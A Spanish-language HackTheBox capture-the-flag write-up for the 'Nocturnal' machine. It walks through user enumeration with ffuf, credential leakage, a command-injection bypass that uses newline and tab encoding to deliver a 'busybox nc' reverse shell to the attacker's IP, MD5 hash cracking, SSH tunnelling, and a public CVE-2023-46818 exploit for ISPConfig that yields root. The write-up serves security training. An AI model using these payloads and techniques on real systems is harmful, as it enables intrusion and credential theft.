Nocturnal – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy /Fácil
  • Platform / Plataforma: HackTheBox

Avatar nocturnal


Resumen Link to heading

“Nocturnal” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina se encuentra corriendo un servidor web el cual expone un endpoint que puede ser usado, a través de fuerza bruta, para filtrar un archivo del sistema. Este archivo contiene credenciales que corresponden a un administrador del sitio web. Este administrador tiene los permisos de crear un respaldo del sistema. No obstante, uno de los parámetros utilizados es vulnerable a inyección de comandos, lo cual nos permite obtener una shell, extraer un archivo de base de datos y obtener credenciales de un nuevo usuario las cuales funcionan por SSH. Luego de ello, podemos identificar un servicio interno corriendo con privilegios identificado como ISPConfig -un servicio para administrar mails y registros DNS-. Las credenciales previamente halladas funcionan como administrador en este nuevo servicio, de donde somos capaces de extraer una versión y corroborar que este servicio es vulnerable a CVE-2023-46818; una vulnerabilidad la cual permite inyección de código. Abusando de esta vulnerabilidad, somos capaces de ganar una shell como root y comprometer así el sistema.


User / Usuario Link to heading

Empezamos buscando puertos abiertos que estén utilizando protocolo TCP mediante la herramienta Nmap. Primero realizamos un escaneo rápido, pero silencioso sólo tratando de identificar puertos abiertos:

❯ sudo nmap -p- --min-rate=5000 --open -sS -n -Pn -vvv 10.129.219.164

Encontramos así 2 puertos abiertos: 22 SSH y 80 HTTP. Ya identificados los puertos abiertos, utilizamos la flag -sVC de Nmap sobre éstos para aplicar algunos scripts de reconocimiento:

❯ sudo nmap -sVC -p22,80 10.129.219.164

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:15 -04
Nmap scan report for 10.129.219.164
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds

Del output para el puerto 80 HTTP podemos ver que el sitio web redirige al dominio http://nocturnal.htb.

Agregamos este dominio, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.129.219.164 nocturnal.htb' | sudo tee -a /etc/hosts

Usamos luego la herramienta WhatWeb contra el sitio web para hallar tecnologías siendo usadas por el servidor web. Esta herramienta nos retorna un mail (support@nocturnal.htb) y muestra que el servidor está corriendo sobre Nginx:

❯ whatweb -a 3 http://nocturnal.htb

http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.219.164], Title[Welcome to Nocturnal], nginx[1.18.0]

Visitando http://nocturnal.htb en un navegador de internet muestra:

Nocturnal 1

La página dice que somos capaces de subir documentos de Word, Excel y PDF; las guarda y luego estos documentos pueden ser solicitados más tarde.

Podemos crearnos una cuenta clickeando sobre la opción register y usar la cuenta creada para loguearnos. Ya creada la cuenta y logueados, se nos presenta ahora la nueva opción de subir archivos:

Nocturnal 2

Podemos tratar de subir un simple archivo PDF genérico (que en mi caso he llamado dummy.pdf). Subido aquel archivo la web retorna:

Nocturnal 3

Haciendo un poco de hovering (poner nuestro mouse sobre el link dummy.pdf y ver -en la esquina inferior izquierda en Firefox- a qué sitio web nos lleva) muestra que el documento redirige al link:

http://nocturnal.htb/view.php?username=gunzf0x&file=dummy.pdf

Esto puede significar que si nuestro usuario es llamado <usuario> y nuestro archivo subido es llamado <archivo>, entonces el archivo -y su respectivo link- generado será:

http://nocturnal.htb/view.php?username=<usuario>&file=<archivo>

Interceptando con Burpsuite la petición que es enviada cuando queremos descargar aquel archivo nos retorna:

Nocturnal 4

GET /view.php?username=gunzf0x&file=dummy.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Pero nada más allá de esto.

Si buscamos por un archivo aleatorio (que no exista) modificandop la petición interceptada a:

GET /view.php?username=gunzf0&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Obtenemos una respuesta nueva en la web:

Nocturnal 5

Obtenemos el texto File does not exist.

Ahora bien, si cambiamos nuestro usuario a través del parámetro username a un usuario que claramente no existe mediante la petición:

GET /view.php?username=gunzf0xtester&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Ahora el sitio web retorna:

Nocturnal 6

Ahora podemos ver el texto User not found.

En resumen: podemos hacer peticiones utilizando el parámetro username junto con la presencia (o ausencia) del texto User not found para buscar por usuarios válidos; de la misma manera, podemos usar la presencia (o ausencia) del texto File does not exist en la respuesta para buscar por archivos válidos.

Primero, busquemos por usuarios válidos utilizando la herramienta ffuf. Utilizando la cookie de sesión de nuestro usuario (dado que requerimos estar logueados/autenticados para realizar esta acción), podemos buscar por usuarios sólo basándonos en si la respuesta no tiene el texto User not found. Esto lo podemos realizar con la flag -fr en fuff, por ejemplo:


❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=opbcbddboarkq0sqcdoc2h98d4' -fr 'User not found'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: User not found
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 533ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 267ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 287ms]

Encontramos así 3 usuarios válidos: admin, amanda y tobias. Guardamos estos 3 usuarios en un archivo llamado potential_users.txt.

Dado que el sitio web dice que admite archivos Word, Excel y PDF podemos buscar por archivos con las extensiones correspondientes a estos formatos. Usamos extensiones basados en esta página de Microsoft para extensiones válidas de Word y Excel; y .pdf para archivos PDF. Creamos así el siguiente diccionario de formatos:

❯ cat valid_formats.txt

doc
docx
docm
dot
dotm
odt
pdf
csv
dbf
dif
ods
txt
xls
xlsx
xla
xlsm

No obstante, si buscamos por algunas extensiones, obtenemos de respuesta Invalid file format. Luego de probar cuáles de ellas no retornan aquel texto, nos quedamos con 4 extensiones:

❯ cat valid_formats.txt

docx
odt
pdf
xlsx

Dado que la respuesta no debe tener la frase File does not exist. Por lo que descartamos todas las respuestas que tengan contengan la frase File does not exist filtrando nuevamente con la flag -fr de ffuf. De este modo, buscamos si existe algún archivo Excel, Word o PDF que pertenezca a los usuarios hallados:

❯ ffuf -w ./potential_users.txt:USER -w ./valid_formats.txt:FORMAT -w /usr/share/seclists/Discovery/Web-Content/common.txt:FILE -u 'http://nocturnal.htb/view.php?username=USER&file=FILE.FORMAT' -b 'PHPSESSID=opbcbddboarkq0sqcdoc2h98d4' -fr 'File does not exist'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=USER&file=FILE.FORMAT
 :: Wordlist         : USER: /home/gunzf0x/HTB/HTBMachines/Easy/Nocturnal/content/potential_users.txt
 :: Wordlist         : FORMAT: /home/gunzf0x/HTB/HTBMachines/Easy/Nocturnal/content/valid_formats.txt
 :: Wordlist         : FILE: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Header           : Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: File does not exist
________________________________________________

[Status: 200, Size: 20477, Words: 66, Lines: 94, Duration: 267ms]
    * FILE: privacy
    * FORMAT: odt
    * USER: amanda

Encontramos un archivo válido llamado privacy.odt para el usuario amanda.

Visitando así en un navegador de internet (ya logueados como el usuario que habíamos creado):

http://nocturnal.htb/view.php?username=amanda&file=privacy.odt

Descarga un archivo.

Podemos abrir el archivo generado en un ODT Viewer como este. Subir el archivo privacy.odt y revisar su contenido. Alternativamente, de manera local, lo podemos abrir ejecutando:

❯ xdg-open ./privacy.odt

Abrimos el contenido del archivo content.xml:

Nocturnal 7

Abriendo este archivo en Firefox /ejecutando simplemente firefox content.xml en una terminal) muestra:

Nocturnal 8

Leyendo, encontramos el siguiente texto para Amanda:

Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.

The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.

Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Tenemos una potencial contraseña arHkG7HAI68X8s1J para el usuario amanda.

Esta contraseña no funciona para el usuario amanda usando el servicio SSH, tal cual se puede revisar utilizando la herramienta NetExec:

❯ nxc ssh nocturnal.htb -u 'amanda' -p 'arHkG7HAI68X8s1J'

SSH         10.129.219.164    22     nocturnal.htb    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.219.164    22     nocturnal.htb    [-] amanda:arHkG7HAI68X8s1J

No obstante, si cerramos la sesión en la página web principal con nuestro usuario creado y vamos al panel de login http://nocturnal.htb/login.php, las credenciales amanda:arHkG7HAI68X8s1J funcionan y estamos dentro del panel:

Nocturnal 9

Podemos ver un nuevo botón/link el cual no estaba previamente disponible que dice Go to Admin Panel. Clickeando en éste redirige a /admin.php, donde podemos ver ahora:

Nocturnal 10

Revisando esta nueva página, podemos crear un respaldo el cual pregunta por una contraseña:

Nocturnal 11

Adicionalmente, si clickeamos en admin.php, la misma página despliega el código del archivo admin.php. Allí, el código PHP enseñado muestra cómo se genera el respaldo. La función principal creando el respaldo es:

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

La contraseña es sanitizada en una función llamada cleanEntry definida como:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

Una parte potencialmente sensible sería la línea:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Ya que luego esta variable $command es ejecutada a nivel de sistema en la línea:

$process = proc_open($command, $descriptor_spec, $pipes);

En palabras simples, se podría tratar de inyectar código a través de la variable $password. Sin embargo, como vimos en la función de sanitización existente, algunos caracteres están prohibidos para prevenir inyección de comandos.

Si generamos un simple respaldo con una simple contraseña que defino como test y descargamos el respaldo generado podemos ver que genera respaldos de archivos existentes en la máquina víctima. Esto lo podemos corroborar con 7z:

❯ 7z l backup_2025-08-16.zip

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:5 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 28704 bytes (29 KiB)

Listing archive: backup_2025-08-16.zip

--
Path = backup_2025-08-16.zip
Type = zip
Physical Size = 28704

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-03-04 12:34:41 .....         7357         2421  admin.php
2025-03-21 03:40:01 D....            0            0  uploads
2024-10-06 17:54:39 .....        20477        18391  uploads/privacy.odt
2025-04-14 05:29:36 .....         1404          723  register.php
2025-04-14 05:27:40 .....         1425          733  login.php
2025-04-14 05:28:23 .....         2666         1163  dashboard.php
2025-04-09 06:52:33 .....         1639          834  index.php
2025-04-16 10:18:50 .....         5415         1711  view.php
2024-10-04 23:23:43 .....           84           82  logout.php
2024-10-18 22:26:31 .....         3105          988  style.css
------------------- ----- ------------ ------------  ------------------------
2025-04-16 10:18:50              43572        27046  9 files, 1 folders

No hay mucho que ver. Por lo que debemos centrarnos en bypassear de alguna manera la inyección de comandos con la variable $password en admin.php.

Para ello interceptamos la petición enviada cuando añadimos una contraseña y clickeamos en Create Backup con Burpsuite, obteniendo así la petición:

POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=test&backup=

La lista de caracteres baneados se definió como:

$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

Pero hay 2 caracteres sensibles que no están baneados, los cuales son:

\n
<TAB>

Es decir, ni los saltos de línea ni los tabs están baneados, lo cual puede permitir una potencial inyección de comandos.

Podemos, además, url-encodear estos caracteres. \n queda como %0A y <TAB> queda como %09. De esta manera, podemos tratar de enviarnos una reverse shell mediante el comando:

busybox nc 10.10.16.10 443 -e /bin/bash

Donde 10.10.16.10 es nuestra IP de atacantes y 443 el puerto en el cual me pondré en escucha con netcat.

Dado que no podemos usar espacios, los espacios los reemplazamos por %09 (<TAB>), el caracter %0A lo usamos para inyectar una nueva línea en el código y, además, inyectamos un caracter " al principio de la query para tratar de cerrar las comillas previamente añadidas basado en la variable $command. Por lo que el payload se ve algo como:

"%0Abusybox%09nc%0910.10.16.10%09443%09-e%09/bin/bash%0A

Empezamos un listener con nc en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

E introducimos el payload en el parámetro password en la petición HTTP interceptada por Burpsuite:

Obtenemos así una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.219.164] 34472
whoami
www-data

Luego de un tratemiento de la TTY, buscamos por archivos sensibles. Podemos ver un directorio nocturnal_database en /var/www, el cual contiene un archivo .db (una base de datos de SQLite):

www-data@nocturnal:~$ ls

html  ispconfig  nocturnal.htb  nocturnal_database  php-fcgi-scripts

www-data@nocturnal:~$ ls -la nocturnal_database/

total 28
drwxr-xr-x 2 www-data  www-data   4096 Aug 18 07:39 .
drwxr-xr-x 6 ispconfig ispconfig  4096 Apr 14 09:26 ..
-rw-rw-r-- 1 www-data  www-data  20480 Aug 18 07:39 nocturnal_database.db

www-data@nocturnal:~$ file nocturnal_database/nocturnal_database.db

nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001

Abrimos este archivo .db usando SQLite, el cual se encuentra instalado en la máquina víctima:

www-data@nocturnal:~$ sqlite3 nocturnal_database/nocturnal_database.db

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

Buscamos por tablas que puedan contener potenciales contraseñas:

sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';

users|password

Esto significa que la tabla users contiene una columna llamada password.

La tabla users tiene 3 columnas: id, username y password:

sqlite> PRAGMA table_info(users);

0|id|INTEGER|0||1
1|username|TEXT|1||0
2|password|TEXT|1||0

Chequemos el contenido de las columnas username y password:

sqlite> SELECT username,password FROM users;

admin|d725aeba143f575736b07e045d8ceebb
amanda|df8b20aa0c935023f99ea58358fb63c4
tobias|55c82b1ccd55ab219b3b109b07d5061d

Tenemos un nuevo hash para el usuario tobias user. Dado que este hash tiene 32 caracteres de largo, posiblemente sea un hash de tipo MD5.

Guardamos este hash en un archivo llamado tobias_hash y tratamos de romperlo a través de un Brute Force Password Cracking con la herramienta JohnTheRipper, también conocida como john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt tobias_hash --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-04-13 03:35) 1.136g/s 4197Kp/s 4197Kc/s 4197KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: slowmotionapocalypse.

Revisamos si esta nueva contraseña funciona para el usuario tobias a través del servicio SSH usando la herramienta NetExec:

❯ nxc ssh nocturnal.htb -u 'tobias' -p 'slowmotionapocalypse'

SSH         10.129.219.164   22     nocturnal.htb    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.219.164   22     nocturnal.htb    [+] tobias:slowmotionapocalypse  Linux - Shell access!

Estas credenciales funcionan.

Nos logueamos como tobias a través de SSH:

❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no tobias@nocturnal.htb

<SNIP>
Last login: Sun Apr 13 07:37:25 2025 from 10.10.16.56
tobias@nocturnal:~$

Podemos extarer la flag de usuario en el directorio /home/tobias.


Root Link to heading

Revisando puertos internos abiertos tenemos:

tobias@nocturnal:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   10                                   127.0.0.1:25                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   10                                   127.0.0.1:587                                   0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8080                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

El puerto 8080 es nuevo. Hay otros puertos abiertos, pero estos se usan usualmente para servicios estandarizados: 25 y 587 para SMTP -servicio de mails-, 53 para DNS, 3306 y 33060 para bases de datos.

Adicionalmente, con el comando ps aux, y luego de filtrar por la palabra 8080 con grep, podemos ver quién está ejecutando el programa que usa aquel puerto:

tobias@nocturnal:~$ ps aux | grep 8080

root        1023  0.0  0.8 286480 34324 ?        Ss   05:47   0:00 /usr/bin/php -S 127.0.0.1:8080
tobias      2953  0.0  0.0   6432   720 pts/0    S+   07:54   0:00 grep --color=auto 8080

Aparentemente, lo que sea que esté siendo ejecutado por el puerto 8080, está siendo ejecutado por root. De manera que este servicio es un potencial vector para escalar privilegios.

Podemos revisar si este aquel puerto está corriendo un servicio web interno usando cURL contra el localhost, mirando las cabeceras de las respuestas con -I:

tobias@nocturnal:~$ curl -I http://127.0.0.1:8080

HTTP/1.1 302 Found
Host: 127.0.0.1:8080
Date: Sun, 13 Apr 2025 07:41:30 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=4p8uen9mi3fe4v8j4th6o6dlug; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/

Está redirigiendo a /login/. Por lo que aparentemente es un sitio web.

Podemos cerrar la sesión SSH actual como tobias y loguear de nuevo como este usuario, pero esta vez creamos un túnel a través de un Local Port Forwarding usando la flag -L para convertir el puerto 8080 de la máquina víctima en el puerto 8080 de nuestra máquina de atacantes (recordando cerrar Burpsuite si es que lo seguíamos usando dado que este software usa el puerto 8080 por defecto y esto podría causar conflictos a la hora de entablar el túnel):

❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 tobias@nocturnal.htb

Ya hecho, en un navegador de internet, visitamos http://127.0.0.1:8080 donde podemos ver un nuevo siti oweb con un nuevo panel de login:

Nocturnal 12

Parece ser una aplicación interna que está ejecutando ISPConfig.

Nota
ISPConfig is an open source hosting control panel for Linux, licensed under BSD license and developed by the company ISPConfig UG. ISPConfig allows administrators to manage websites, email addresses and DNS records through a web-based interface.
En corto, es un servicio para administrar servicios de mail y DNS.

Buscando por credenciales por defecto para ISPConfig encontramos este foro. Es “algo” viejo (del 2005, pensar que han pasado ya 20 años), pero allí dan las infalibles credenciales por defecto admin:admin. Pero estas credenciales no funcionan en este panel. A pesar de ello, las credenciales admin:slowmotionapocalypse (la misma contraseña del usuario tobias) sí funcionan. Estamos dentro:

Nocturnal 14

Si clickeamos en la pestaña Help podemos ver la versión de ISPConfig que está corriendo:

Nocturnal 13

La versión actual es 3.2.10p1.

Revisando en la página web de MITRE de CVEs por vulnerabilidades para ISPConfig con la versión hallada encontramos una catalogada como CVE-2023-46818. Afecta versiones previas a 3.2.11p1 y es una vunlerabilidad critical dado que permite inyección de comando por medio de PHP. Buscando por exploits/pruebas de concepto (PoCs) para esta vulnerabilidad es que encontramos este repositorio. Lo clonamos en nuestra máquina de atacantes:

❯ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git -q

Ejecutando el exploit, éste sólo presunta por un usuario, contraseña y url del servicio ISPConfig:

❯ cd CVE-2023-46818-python-exploit

❯ python3 exploit.py

Usage: python exploit.py <URL> <Username> <Password>

Dado que este servicio sólo es accesible desde nuestra máquina víctima a través del túnel establecido por el Local Port Forwarding, ejecutamos el exploit en contra de nuestro localhost (127.0.0.1). Más especificamente al puerto 8080 el cual es el puerto 8080 de la máquina víctima gracias al túnel establecido por SSH. Ejecutamos así:

❯ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

[+] Target URL: http://127.0.0.1:8080/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami

root

GG. Obtenemos una shell como el usuario root en la máquina víctima. Podemos extraer la flag del usuario root desde el directorio /root.

~Happy Hacking